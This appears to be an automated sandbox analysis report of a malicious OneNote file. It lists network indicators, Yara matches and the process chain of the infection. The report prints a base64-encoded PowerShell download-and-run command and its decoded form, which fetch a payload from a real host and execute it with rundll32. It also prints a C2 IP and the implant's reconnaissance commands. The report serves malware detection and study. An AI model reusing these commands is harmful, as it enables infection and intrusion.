Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://otelrules.azureedge.net
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://outlook.office.com
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://outlook.office.com/
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://outlook.office365.com
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://outlook.office365.com/
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://pages.store.office.com/review/query
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://powerlift.acompli.net
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://prod.mds.office.com/mds/api/v1.0/clientmodeldirectory
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://pushchannel.1drv.ms
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://res.cdn.office.net/polymer/models
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://settings.outlook.com
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://shell.suite.office.com:1443
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://skyapi.live.net/Activity/
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://staging.cortana.ai
Source: FGR8SNK3.htm.14.dr String found in binary or memory: https://static.broadcom.com
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://store.office.cn/addinstemplate
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://store.office.de/addinstemplate
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://substrate.office.com/Notes-Internal.ReadWrite
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://substrate.office.com/search/api/v1/SearchHistory
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://substrate.office.com/search/api/v2/init
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://tasks.office.com
Source: powershell.exe, 00000008.00000002.5649681111.000002AA51878000.00000004.00000800.00020000.00000000.sdmp, in.cmd.6.dr String found in binary or memory: https://tassoinmobiliaria.com/56G0/01.gif
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://web.microsoftstream.com/video/
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://webshell.suite.office.com
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://wus2.contentsync.
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://wus2.pagecontentsync.
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: FGR8SNK3.htm.14.dr String found in binary or memory: https://www.broadcom.cn
Source: FGR8SNK3.htm.14.dr String found in binary or memory: https://www.broadcom.com
Source: FGR8SNK3.htm.14.dr String found in binary or memory: https://www.broadcom.com/media/blt4ac44e0e6c6d8341/blt476a993c2707b028/62e16f3bd3b8a5700456394e/wwwB
Source: FGR8SNK3.htm.14.dr String found in binary or memory: https://www.googletagmanager.com/gtm.js?id=
Source: FGR8SNK3.htm.14.dr String found in binary or memory: https://www.googletagmanager.com/ns.html?id=GTM-KF7XWD
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://www.odwebp.svc.ms
Source: unknown DNS traffic detected: queries for: tassoinmobiliaria.com
Source: global traffic HTTP traffic detected: GET /56G0/01.gif HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: tassoinmobiliaria.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Accept: application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: broadcom.comCache-Control: no-cache
Source: unknown Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown TCP traffic detected without corresponding DNS query: 87.149.176.97
Source: unknown HTTP traffic detected: POST /t5 HTTP/1.1Accept: application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, */*Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 87.149.176.97Content-Length: 80Cache-Control: no-cache
Source: unknown HTTPS traffic detected: 148.163.69.171:443 -> 192.168.11.20:49827 version: TLS 1.2
Source: unknown HTTPS traffic detected: 50.112.202.115:443 -> 192.168.11.20:49836 version: TLS 1.2
Source: unknown HTTPS traffic detected: 87.149.176.97:443 -> 192.168.11.20:49838 version: TLS 1.2

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: Process Memory Space: powershell.exe PID: 7684, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Powershell drops PE file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\ProgramData\putty.jpg Jump to dropped file
Detected potential crypto function
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_100194D0 13_2_100194D0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_1001799F 13_2_1001799F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_100175E0 13_2_100175E0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_10015207 13_2_10015207
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_10003EEA 13_2_10003EEA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_10013BFA 13_2_10013BFA
Tries to load missing DLLs
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTEM.EXE Section loaded: edgegdi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: edgegdi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: edgegdi.dll Jump to behavior
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Section loaded: edgegdi.dll Jump to behavior
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTEM.EXE Section loaded: edgegdi.dll Jump to behavior
Source: C:\Windows\SysWOW64\whoami.exe Section loaded: edgegdi.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: sfc.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: edgegdi.dll
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\ProgramData\putty.jpg F716C2324C1E7DEFED9B822F543156934C3534EEDC9EF1E69FC3745733C5DCB7
PE file overlay found
Source: putty.jpg.11.dr Static PE information: Data appended to the last section found
Yara signature match
Source: Process Memory Space: powershell.exe PID: 7684, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Contains functionality to call native functions
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_1000A4A8 NtCreateSection,DefWindowProcW,RegisterClassExA,CreateWindowExA,DestroyWindow,UnregisterClassA,KiUserCallbackDispatcher,NtMapViewOfSection,NtMapViewOfSection,VirtualAllocEx,WriteProcessMemory,lstrlenW,NtUnmapViewOfSection,NtClose, 13_2_1000A4A8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_1000AA02 KiUserCallbackDispatcher,Wow64GetThreadContext,NtProtectVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory, 13_2_1000AA02
PE file contains executable resources (Code or Archives)
Source: 6153a066.dll.13.dr Static PE information: Resource name: RT_MESSAGETABLE type: a.out little-endian 32-bit pure executable not stripped
PE file does not import any functions
Source: 6153a066.dll.13.dr Static PE information: No import functions for PE file found
Source: putty.jpg.11.dr Static PE information: No import functions for PE file found
Source: Send to OneNote.lnk.1.dr LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Microsoft Office\root\Office16\ONENOTEM.EXE
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE File created: C:\Users\user\Documents\{DE190637-2A90-46C1-910E-B0477FAA2340} Jump to behavior
Source: 6153a066.dll.13.dr Binary string: \Device\IPT[
Source: classification engine Classification label: mal100.spre.troj.spyw.expl.evad.winONE@51/729@3/3
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE File read: C:\Program Files\desktop.ini Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_100011EB CreateBitmapIndirect,CreateBrushIndirect,CreateDIBPatternBrush,CreateDIBPatternBrushPt,CreateDIBSection,CreateEllipticRgn,CreateEllipticRgnIndirect,CreateEnhMetaFileA,CreateFontA,CreateFontIndirectExW,CreateHalftonePalette,CreateHatchBrush,CreatePatternBrush,CreatePenIndirect,CreateRectRgnIndirect,CreateRoundRectRgn,CreateScalableFontResourceA,CreateScalableFontResourceW,CreateSolidBrush,GdiGetBatchLimit,GdiTransparentBlt,WICMapGuidToShortName,WICMapSchemaToName,WICMapShortNameToGuid,AccessCheckAndAuditAlarmA,AccessCheckByTypeAndAuditAlarmA,AddAccessAllowedAce,AddAccessAllowedAceEx,AddAccessDeniedAce,AddAuditAccessObjectAce,BuildTrusteeWithSidA,ChangeServiceConfig2A,CloseTrace,ConvertToAutoInheritPrivateObjectSecurity,CreatePrivateObjectSecurity,EnumerateTraceGuidsEx,EqualDomainSid,EventActivityIdControl,EventWrite,EventWriteEx,EventWriteString,EventWriteTransfer,FindFirstFreeAce,GetEventLogInformation,GetAce, 13_2_100011EB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA Jump to behavior
Source: unknown Process created: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE C:\Program Files\Microsoft Office\Root\Office16\ONENOTE.EXE" "C:\Users\user\Desktop\Note.one
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process created: C:\Program Files\Microsoft Office\root\Office16\ONENOTEM.EXE /tsr
Source: unknown Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\Open.cmd" "
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('DQpAZWNobyBvZmYNCnBvd2Vyc2hlbGwgSW52b2tlLVdlYlJlcXVlc3QgLVVSSSBodHRwczovL3Rhc3NvaW5tb2JpbGlhcmlhLmNvbS81NkcwLzAxLmdpZiAtT3V0RmlsZSBDOlxwcm9ncmFtZGF0YVxwdXR0eS5qcGcNCnJ1bmRsbDMyIEM6XHByb2dyYW1kYXRhXHB1dHR5LmpwZyxXaW5kDQpleGl0DQo='))
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K C:\ProgramData\in.cmd
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -URI https://tassoinmobiliaria.com/56G0/01.gif -OutFile C:\programdata\putty.jpg
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\rundll32.exe rundll32 C:\programdata\putty.jpg,Wind
Source: C:\Windows\System32\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 C:\programdata\putty.jpg,Wind
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\backgroundTaskHost.exe C:\Windows\SysWOW64\backgroundTaskHost.exe
Source: unknown Process created: C:\Program Files\Microsoft Office\root\Office16\ONENOTEM.EXE "C:\Program Files\Microsoft Office\root\Office16\ONENOTEM.EXE" /tsr
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process created: C:\Windows\SysWOW64\net.exe net view
Source: C:\Windows\SysWOW64\net.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd /c set
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process created: C:\Windows\SysWOW64\ARP.EXE arp -a
Source: C:\Windows\SysWOW64\ARP.EXE Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /all
Source: C:\Windows\SysWOW64\ipconfig.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process created: C:\Windows\SysWOW64\net.exe net share
Source: C:\Windows\SysWOW64\net.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\net.exe Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 share
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process created: C:\Windows\SysWOW64\ROUTE.EXE route print
Source: C:\Windows\SysWOW64\ROUTE.EXE Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process created: C:\Windows\SysWOW64\NETSTAT.EXE netstat -nao
Source: C:\Windows\SysWOW64\NETSTAT.EXE Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process created: C:\Windows\SysWOW64\net.exe net localgroup
Source: C:\Windows\SysWOW64\net.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\net.exe Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process created: C:\Windows\SysWOW64\whoami.exe whoami /all
Source: C:\Windows\SysWOW64\whoami.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process created: C:\Program Files\Microsoft Office\root\Office16\ONENOTEM.EXE /tsr Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('DQpAZWNobyBvZmYNCnBvd2Vyc2hlbGwgSW52b2tlLVdlYlJlcXVlc3QgLVVSSSBodHRwczovL3Rhc3NvaW5tb2JpbGlhcmlhLmNvbS81NkcwLzAxLmdpZiAtT3V0RmlsZSBDOlxwcm9ncmFtZGF0YVxwdXR0eS5qcGcNCnJ1bmRsbDMyIEM6XHByb2dyYW1kYXRhXHB1dHR5LmpwZyxXaW5kDQpleGl0DQo=')) Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K C:\ProgramData\in.cmd Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -URI https://tassoinmobiliaria.com/56G0/01.gif -OutFile C:\programdata\putty.jpg Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\rundll32.exe rundll32 C:\programdata\putty.jpg,Wind Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 C:\programdata\putty.jpg,Wind Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\backgroundTaskHost.exe C:\Windows\SysWOW64\backgroundTaskHost.exe Jump to behavior
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process created: C:\Windows\SysWOW64\net.exe net view Jump to behavior
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd /c set Jump to behavior
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process created: C:\Windows\SysWOW64\ARP.EXE arp -a Jump to behavior
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /all Jump to behavior
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process created: C:\Windows\SysWOW64\net.exe net share Jump to behavior
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process created: C:\Windows\SysWOW64\ROUTE.EXE route print Jump to behavior
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process created: C:\Windows\SysWOW64\NETSTAT.EXE netstat -nao Jump to behavior
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process created: C:\Windows\SysWOW64\net.exe net localgroup Jump to behavior
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process created: C:\Windows\SysWOW64\whoami.exe whoami /all Jump to behavior
Source: C:\Windows\SysWOW64\net.exe Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 share Jump to behavior
Source: C:\Windows\SysWOW64\net.exe Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE File created: C:\Users\user\AppData\Local\Temp\{F240886F-595A-4B76-A1BE-CF9D49A0F922} - OProcSessId.dat Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_1000D972 CoInitializeEx,CoInitializeSecurity,CoCreateInstance,SysAllocString,CoSetProxyBlanket, 13_2_1000D972
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\97c421700557a331a31041b81ac3b698\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\97c421700557a331a31041b81ac3b698\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_1000CD1E CreateToolhelp32Snapshot,Process32First,Process32Next,FindCloseChangeNotification, 13_2_1000CD1E
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\rundll32.exe rundll32 C:\programdata\putty.jpg,Wind
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1456:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3380:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6920:304:WilStaging_02
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Mutant created: \Sessions\1\BaseNamedObjects\{8F23BFA6-4341-4110-A132-4CF36F972AD2}
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2708:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3380:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6084:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6920:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8056:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2248:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1516:304:WilStaging_02
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Mutant created: \Sessions\1\BaseNamedObjects\{6891FDE2-F697-4105-9C02-7727FAB36AE9}
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8056:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5236:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5236:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1516:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3136:120:WilError_03
